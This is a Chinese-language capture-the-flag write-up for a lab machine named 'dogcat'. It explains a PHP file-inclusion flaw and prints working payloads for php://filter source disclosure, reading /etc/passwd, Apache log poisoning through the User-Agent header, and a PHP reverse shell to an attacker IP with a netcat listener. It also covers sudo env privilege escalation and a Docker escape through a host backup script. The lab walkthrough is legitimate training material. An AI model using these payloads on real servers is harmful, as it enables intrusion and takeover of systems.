描述已经说明了这个靶机的一些思路,LFI
-> 提权
-> 突破docker
信息收集
使用nmap
进行端口扫描
开放了80
和22
端口,直接访问80
端口
这是一个文件包含,通过尝试,发现传参内容中必须含有cat
和dog
,然后会将传参的最后加入.php
,这里我使用%00
节点也没有利用成功。
尝试目录扫描
gobuster dir -u http://10.10.67.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,js,zip -t 66
通过扫描结果发现,有一个flag.php
文件,另外还有cats
和dogs
目录,这里就有了一个思路,使用文件包含然后路径包含cats
或者dogs
目录,然后使用../
返回上一级,然后包含flag.php
获得flag
使用php://filter/read
协议进行读取base64
编码
http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../flag
注意:**由于会在我们的传参最后加入.php
,最后的文件名直接flag
即可
使用base64
命令解密,得到第一个flag
接着我们继续包含index.php
文件的内容,查看源代码
http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../index
解码解码后得到如下内容
代码如下:
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
简单分析一下,判断ext
参数有没有值,如果没有设置默认的后缀名为.php
,然后检测我们输入的值有没有dog
和cat
,最后包含文件
所以我们只需要传入ext
参数,不设置任何值就可以任意文件包含,尝试包含/etc/passwd
curl "http://10.10.67.136/?view=/var/www/html/cats/../../../../../etc/passwd&ext="
初始访问权限
成功执行,现在我们需要获取shell
,就用到了apache2
的日志文件
apache2
的日志文件位置为/var/log/apache2/access.log
access.log
文件会记录访问者的IP
、访问时间
、请求方法(GET)
、请求地址
、请求状态码
、User-Agent
值得注意的是,User-Agent
很长,这里我们可以使用User-Agent
写入php
代码,使用文件包含包含该文件反弹shell
,步骤如下
- 构造
payload
包含access.log
文件,然后修改User-Agent
GET /?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami HTTP/1.1
Host: 10.10.62.206
User-Agent: <?php system($_GET['cmd']);?>
- 需要再次进行访问,因为第一次只是将我们的访问记录下来,再次利用会看到
www-data
用户权限,如果想要回显清晰,可以使用ls
类似的命令
成功执行的命令,这时我们需要反弹shell
,其实可以直接使用包含页面写入一句话木马,使用菜刀
、蚁剑
这种工具连接,但是这里我们使用脚本语言,例如php
、python
或者perl
进行反弹shell
将php
反弹shell
代码加入payload
php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");
加入后需要使用url编码
,不然会报错
编码后的payload
如下,注意将targetIP
和port
改为自己的IP和端口
?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+'$sock%3dfsockopen("targetIP","prot")%3bexec("/bin/bash+-i+0>%263+2>%263+1>%263")%3b'
然后再在本地监听nc -lvp 4444
,然后使用burpsuite
发送数据包获得shell
成功获得shell
,上述中我使用了find
查找flag
文件,因为并没有在/home
目录发现用户
查看/var/www/flag2_QMW7JvaY2LvK.txt
文件得到flag2
权限提升
使用sudo -l
发现可以执行/usr/bin/env
,在GTFOBins
找到直接提权获得root
权限获取flag3
docker逃逸
这是我第一次接触逃逸,需要了解docker
,是因为docker
容器可以挂在宿主机器目录的文件,我们在/opt/backups
发现文件backup.sh
,可能是宿主机
在进行备份,在里面加入反弹shell
代码,在本地监听,等待一分钟,获取宿主机
root权限,flag
直接在当前目录